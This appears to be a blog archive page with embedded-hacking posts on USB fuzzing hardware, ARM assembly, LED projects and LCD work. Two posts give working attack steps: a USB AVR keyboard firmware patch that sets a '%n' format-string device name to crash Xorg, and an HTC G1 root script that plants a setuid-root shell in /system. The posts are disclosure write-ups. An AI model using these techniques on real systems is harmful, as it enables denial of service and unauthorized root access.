Embedded « codeblog

January 21, 2013

facedancer built

Filed under: Blogging,Chrome OS,Embedded,Security,Ubuntu,Ubuntu-Server — kees @ 2:39 pm

I finally had the time to put together the facedancer11 that Travis Goodspeed was so kind to give me. I had ordered all the parts some time ago, but had been dreading the careful surface-mount soldering work it was going to require. As it turned out, I’m not half bad at it — everything seems to have worked the first time through. I did, however, fail to order 33ohm 0603 resistors, so I have some temporary ones in use until I can replace them.

My facedancer

This device allows the HOST side computer to drive USB protocol communication at the packet level, with the TARGET seeing a USB device on the other end. No more needing to write careful embedded code while breaking USB stacks: the fake USB device can be controlled with Python.

This means I’m able to start some more serious fuzzing of the USB protocol layer. There is already code for emulating HID (Keyboard), Mass Storage, and now Firmware Updates. There’s probably tons to look at just in that. For some background on the fun to be had just with Mass Storage devices, see Goodspeed’s 23C9 presentation on it.

Comments (1)

November 2, 2012

ARM assembly

Filed under: Blogging,Chrome OS,Embedded,Ubuntu,Ubuntu-Server — kees @ 10:01 am

While I’ve been skimming ARM assembly here and there, yesterday I actually had to write some from scratch to hook up seccomp on ARM. I got stumped for a while, and ended up using two references frequently:

The suffix one is pretty interesting because ARM allows for instructions to be conditional, rather than being required to rely on branching, like x86. For example, if you wanted something like this in C:

    if (i == 0)
        i = 1;
    i = i + 1;

In x86 assembly, you’d have a compare followed by a jump to skip the moving of the “1” value:

    cmp %ecx, $0
    jne 2
    mov %ecx, $1
2:  inc %ecx

In ARM assembly, you can make the move conditional with a suffix (“mov if equal”):

    cmp   r2, #0
    moveq r2, #1
    add   r2, r2, #1

The real thing that stumped me yesterday, though, was the “!” suffix on load/store. Mainly, I didn’t notice it was there until I’d stared at the objdump output and systematically trimmed away all other other code that wasn’t changing the behavior:

    ldr r0, [sp, #OFFSET]
    str r0, [sp, #OFFSET]!

I was reading this as “variable = variable;” and I thought I was going crazy; how could a self-assignment change the code at all? In the second reference above, I found the that the trailing “!” means “(pre)increment the base by the offset”. I was doing a meaningless assignment, but it had the side-effect of pushing the “sp” register forward, and suddenly it all made sense (I needed to unwind the stack). The actual solution I needed was:

    add sp, sp, #S_OFF

Yay for a crash-course in actual ARM assembly. :)

(And yes, I’m aware of x86’s “cmov”, but I just wanted to do a simple illustration. ARM can do conditional calls!)

Comments Off

May 16, 2012

USB AVR fun

Filed under: Blogging,Chrome OS,Debian,Embedded,Security,Ubuntu,Ubuntu-Server,Vulnerabilities — kees @ 2:20 pm

At the recent Ubuntu Developer Summit, I managed to convince a few people (after assurances that there would be no permanent damage) to plug a USB stick into their machines so we could watch Xorg crash and wedge their console. What was this evil thing, you ask? It was an AVR microprocessor connected to USB, acting as a USB HID Keyboard, with the product name set to “%n”.

Recently a Chrome OS developer discovered that renaming his Bluetooth Keyboard to “%n” would crash Xorg. The flaw was in the logging stack, triggering glibc to abort the process due to format string protections. At first glance, it looks like this isn’t a big deal since one would have to have already done a Bluetooth pairing with the keyboard, but it would be a problem for any input device, not just Bluetooth. I wanted to see this in action for a “normal” (USB) keyboard.

I borrowed a “Maximus” USB AVR from a friend, and then ultimately bought a Minimus. It will let you put anything you want on the USB bus.

I added a rule for it to udev:

SUBSYSTEM=="usb", ACTION=="add", ATTR{idVendor}=="03eb", ATTR{idProduct}=="*", GROUP="plugdev"

installed the AVR tools:

sudo apt-get install dfu-programmer gcc-avr avr-libc

and pulled down the excellent LUFA USB tree:

git clone git://github.com/abcminiuser/lufa-lib.git

After applying a patch to the LUFA USB keyboard demo, I had my handy USB-AVR-as-Keyboard stick ready to crash Xorg:

-       .VendorID               = 0x03EB,
-       .ProductID              = 0x2042,
+       .VendorID               = 0x045e,
+       .ProductID              = 0x000b,
...
-       .UnicodeString          = L"LUFA Keyboard Demo"
+       .UnicodeString          = L"Keyboard (%n%n%n%n)"

In fact, it was so successfully that after I got the code right and programmed it, Xorg immediately crashed on my development machine. :)

make dfu

After a reboot, I switched it back to programming mode by pressing and holding the “H” button, press/releasing the “R” button, and releasing “H”.

The fix to Xorg is winding its way through upstream, and should land in your distros soon. In the meantime, you can disable your external USB ports, as Marc Deslauriers demonstrated for me:

echo "0" > /sys/bus/usb/devices/usb1/authorized
echo "0" > /sys/bus/usb/devices/usb1/authorized_default

Be careful of shared internal/external ports, and having two buses on one port, etc.

Comments (3)

March 8, 2010

Cylon Dorkshield

Filed under: Blogging,Debian,Embedded,Ubuntu — kees @ 8:42 pm

I’ve finally soldered on the LEDs for the Cylon DorkShield I designed and got built in a recent DorkBotPDX PCB run. I’m having trouble with the programmer, but I got the shield mostly working:

Cylon DorkShield

Comments Off

October 7, 2009

Larson Scanner on Arduino

Filed under: Blogging,Embedded,Ubuntu — kees @ 8:58 am

Inspired by the Larson Scanner project, I finally broke out my Arduino and ported the code from the ATtiny to the ATmega. (The Arduino IDE runs fine with openjdk-6.) I’m sure the power usage is terrible, but I wasn’t after long battery life. I wanted my very own Cylon eye.

DorkBoard running the Cylon eye

Since I was successful with porting the code and wiring up the Arduino, I figured I’d see if the tiny Arduino-clone called the “DorkBoard” would work with it too.

Later in the weekend I grabbed a AAA-battery holder and hooked that up so the eye is untethered from the USB power source. Next up, coding the pesky self-awareness.

Comments (3)

November 9, 2008

“rooting” the HTC G1 Android

Filed under: Blogging,Debian,Embedded,Security,Ubuntu,Vulnerabilities — kees @ 10:27 am

People noticed that running telnetd seemed to run as root. Later it was discovered that everything you typed was being run by the root user also. So, that ends the first mystery: when you typed “telnetd” both the Terminal user and root ran it. It would fail (without error messages) for the Terminal user, and run successfully for the root user. So now, the question is, what the f is a root shell doing mirroring user input?!

So, there is a much easier way to get root that doesn’t require network connectivity. While the /sdcard mount point is nosuid,noexec, it’ll still run scripts if you explicitly direct them to run. It seems that the weird background root shell doesn’t understand the alt-keys, so it can only run stuff that can be typed without using alt, shift, etc. So, put the following in /sdcard/pwn:


mount -o remount,rw -t yaffs2 /dev/block/mtdblock3 /system
cd /system/bin
cat sh > sh.root
chmod 4755 sh.root
mount -o remount,ro -t yaffs2 /dev/block/mtdblock3 /system

You can either do this by dropping the file in place over USB mass storage, or you can type it via the Terminal using “cat“. (Rebooting here might help get the root shell in a sane state.) Finally, just navigate there without slashes and run the script:


$ cd sdcard
$ sh pwn

You’ll see lots of errors (but these are only from the Terminal user). The script is, however, run by the root shell too. You can verify the results:


$ ls -l /system/bin/sh*
-rwxr-xr-x root          shell     86936 2008-09-13 00:13 sh
-rwsr-xr-x root          root      86936 2008-11-09 10:12 sh.root

Next up: cross-compiling a little helper to elevate to real UID 0, and require a password to keep malware from looking for setuid shells.

Comments (6)

January 9, 2005

Fragile Code

Filed under: Embedded — kees @ 7:27 pm

I define fragile code as code that isn’t easily changed without introducing bugs. I think the biggest cause of fragile code is cut/paste algorithms. This is especially true for data access and processing routines.

The idea behind Object Oriented programming is that you end up creating accessor functions for all your data. It’s simple to change your data formats without breaking the program as a whole. When you don’t have an OO language, you create all kinds of methods to do your repeated work.

This is critically important for stable, readable, sane code. Functions should do something small, and do it very well. Then you can call a whole series of strong little functions, rather than cutting and pasting the same code over and over, only to wreck your day much later on.

Comments Off

January 4, 2005

Fun with LCDs

Filed under: Embedded — kees @ 11:09 am

Worked for a little while last night trying to figure out how to rotate the image on an LCD screen. Turns out the controller actually has a built in rotation ability. All the examples in the docs show a portrait LCD display being rotated to a landscape LCD display. I needed to the do the opposite. Anyway, 1 typo and several LCD controller registers later, I had convinced it to work, but with a nasty flicker. I dug around a little more and finally found where I could define “line widths” for the display memory (as in, each line of physical memory is 256 bytes, but it’s only going to display 240 of those bytes). Thank goodness the display library had already been set up to deal with virtual spans. Anyway, with that in place, it came up perfectly. Yay! It’s going to wreak havoc on the the testing routines: let’s just say the screen CRCs aren’t going to be the same. In fact, the screen CRCs might be just flat wrong; I’m not sure what portions of video memory it scans.

Comments Off

codeblog code is freedom — patching my itch

January 21, 2013

November 2, 2012

May 16, 2012

March 8, 2010

October 7, 2009

November 9, 2008

January 9, 2005

January 4, 2005